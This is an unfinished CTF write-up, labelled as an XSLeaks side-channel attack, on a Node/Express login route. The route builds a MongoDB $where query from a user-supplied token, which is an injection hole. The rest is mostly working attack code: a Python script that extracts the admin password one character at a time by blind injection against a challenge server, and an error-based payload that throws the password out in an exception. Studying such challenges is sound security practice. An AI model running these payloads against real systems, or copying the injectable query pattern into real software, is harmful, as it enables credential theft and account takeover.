XSLeaks 侧信道攻击 (unfinished)

router.post('/auth', async (req, res) => {
	let { token } = req.body;
	if (token !== '' && typeof (token) === 'string') {
		if (checkmd5Regex(token)) {
			try {
				let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
				console.log(docs);
				if (docs.length == 1) {
					if (!(docs[0].isAdmin === true)) {
						return res.render('auth', { error: 'Failed to auth' })
					}
				} else {
					return res.render('auth', { error: 'No matching results' })
				}
			} catch (err) {
				return res.render('auth', { error: err })
			}
		} else {
			return res.render('auth', { error: 'Token must be valid md5 string' })
		}
	} else {
		return res.render('auth', { error: 'Parameters error' })
	}
	req.session.AccessGranted = true
	res.redirect('/packages/submit')
});

import requests
import string

url="http://d8ec246d-507e-4aaa-a226-d318473d31ec.node4.buuoj.cn:81/auth"
headers={
    "Cookie": "session=s%3Ay8Ne8sPLeY55QXmWPyh3WmPiuoDgOp6y.U3VuzJCBxWcb5AWW8CCkPJqnSmYJ1N9EnHvoR%2BBuGho",
}

flag = ''
for i in range(10000):
    for j in string.printable:
        if j == '"':
            continue
        payload='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[{}]=="{}'.format(i,j)
        data={
            "_csrf": "YzvJKLZc-4Sp0gfSn-hIRIF4bUZu0nhXy0HU",
            "token": payload
        }
        r=requests.post(url=url,data=data,headers=headers,allow_redirects=False)
        # print(r.text)
        if "Found. Redirecting to" in r.text:
            print(payload)
            flag+=j
            print(flag)
            break

let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()=="admin""`).exec()
console.log(docs);